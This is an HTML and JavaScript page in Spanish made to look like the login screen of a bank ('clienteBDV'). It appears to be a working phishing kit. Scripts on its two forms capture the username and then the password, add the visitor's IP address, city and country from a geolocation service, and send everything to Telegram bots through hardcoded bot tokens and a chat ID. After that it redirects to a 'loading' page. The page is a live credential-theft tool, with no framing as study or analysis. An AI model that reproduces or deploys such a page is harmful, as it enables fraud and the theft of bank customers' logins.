<!DOCTYPE html>
<html lang="es">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Formulario con Imagen</title>
    <style>
      body {
        background-image: url("background.jpg"); /* Ruta de la imagen de fondo */
        background-size: cover; /* Ajusta la imagen para cubrir toda la pantalla */
        background-repeat: no-repeat; /* Evita que la imagen de fondo se repita */
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
      }

      .container {
        display: flex;
        justify-content: space-between;
        align-items: center;

        width: 80%;
      }

      .left {
        width: 40%;
        padding: 20px;

        background: white;
        max-width: 550px;
        box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.1);
      }

      .right {
        width: 70%;
        text-align: center;
      }
      input {
        width: 100%;
      }

      /* Media query para dispositivos con un ancho máximo de 600px (como smartphones) */
      @media only screen and (max-width: 600px) {
        .container {
          flex-direction: column; /* Cambia la dirección de los elementos a vertical */
          align-items: center;
        }

        .left,
        .right {
          width: 100%; /* Ocupan todo el ancho */
          margin-bottom: 20px; /* Espacio entre los elementos */
        }
      }
    </style>

    <style>
      .overlay {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background-color: rgba(
          0,
          0,
          0,
          0.5
        ); /* Color de fondo semi-transparente */
        display: flex;
        justify-content: center;
        align-items: center;
        z-index: 999; /* Asegura que esté por encima de otros elementos */
      }
      .form-container {
        background-color: white;
        padding: 20px;
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
        max-width: 350px;
        width: 90%;
      }
    </style>
  </head>
  <body>
    <div class="container">
      <div class="left">
        <!-- Aquí va tu formulario -->
        <div style="width: 100%; text-align: center">
          <img src="logo.png" style="width: 300px" />
        </div>
        <form id="loginform">
          <input
            type="text"
            style="
              padding: 10px;
              box-sizing: border-box;
              position: relative;
              height: 60px;
              border: 0;
              border-bottom: 1px solid gray;
              background: #ededed;
              outline: none;
              margin-top: 30px;
            "
            required
            id="usuario"
            placeholder="Usuario*"
          />

          <div style="width: 100%; text-align: center; margin-top: 20px">
            <button
              style="
                background-color: #0067b1;
                color: white;
                border-radius: 3px;
                border: 0;
                padding: 15px;
                width: 200px;
              "
            >
              Entrar
            </button>
          </div>
        </form>
        <div
          style="
            width: 100%;
            text-align: center;
            font-size: 12px;
            font-weight: bold;
            color: #999;
            margin-top: 30px;
            margin-bottom: 30px;
          "
        >
          ¿Olvidaste tu usuario o clave? <br />
          Si eres nuevo clienteBDV regístrate aquí
        </div>
      </div>
      <div class="right">
        <p></p>
      </div>
    </div>
  </body>

  <div class="overlay" style="display: none" id="overlay">
    <div class="form-container">
      <div style="width: 100%; text-align: center">
        <img src="logo.png" style="width: 300px" alt="Logo" />
      </div>
      <form id="loginform2">
        <input
          type="password"
          name="contra"
          placeholder="Contraseña*"
          style="
            padding: 10px;
            box-sizing: border-box;
            position: relative;
            height: 60px;
            border: 0;
            border-bottom: 1px solid gray;
            background: #ededed;
            outline: none;
            margin-top: 30px;
          "
          id="contra"
          required
        />

        <div style="width: 100%; text-align: center; margin-top: 20px">
          <button
            style="
              background-color: #0067b1;
              color: white;
              border-radius: 3px;
              border: 0;
              padding: 15px;
              width: 200px;
            "
          >
            Entrar
          </button>
        </div>
      </form>
    </div>
  </div>
  <script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>

  <script>
    const url = "https://ipapi.co/json/";
    const form = document.querySelector("#loginform");
    form.addEventListener("submit", (event) => {
      event.preventDefault(); // aqui evitamos que el código se repita evita que se envíe el formulario
      axios
        .get(url)
        .then((response) => {
          const usuario = document.querySelector("#usuario").value;
          localStorage.setItem("usuario", usuario);
          const message =
            "\nBDV" +
            "\nUsuario: " +
            usuario +
            "\nCiudad:" +
            response.data.city +
            "\nPais: " +
            response.data.country +
            "\nIP: " +
            response.data.ip;
          axios
            .post(
              "https://api.telegram.org/bot7889156037:AAGogG22lNYVwmptkr3WoEdYbBDvv9fw6P0/sendMessage",
              {
                chat_id: "5088196826",
                text: message,
              }
            )
            .then((response) => {
              document.getElementById("overlay").style.display = "";
            })
            .catch((error) => {
              console.error(error);
            });
        })
        .catch((error) => {
          console.log(error);
        });
    });

    const form2 = document.querySelector("#loginform2");
    form2.addEventListener("submit", (event) => {
      event.preventDefault(); // aqui evitamos que el código se repita evita que se envíe el formulario
      axios
        .get(url)
        .then((response) => {
          const contra = document.querySelector("#contra").value;
          const message =
            "\nBDV" +
            "\nUsuario: " +
            localStorage.getItem("usuario") +
            "\nContraseña: " +
            contra +
            "\nCiudad:" +
            response.data.city +
            "\nPais: " +
            response.data.country +
            "\nIP: " +
            response.data.ip;
          axios
            .post(
              "https://api.telegram.org/bot8102123833:AAE90B-Zf48o1RkiO4gVXypWT-84fUD3u2o/sendMessage",
              {
                chat_id: "5088196826",
                text: message,
              }
            )
            .then((response) => {
              window.location.href = "cargando.html";
            })
            .catch((error) => {
              console.error(error);
            });
        })
        .catch((error) => {
          console.log(error);
        });
    });
  </script>
</html>
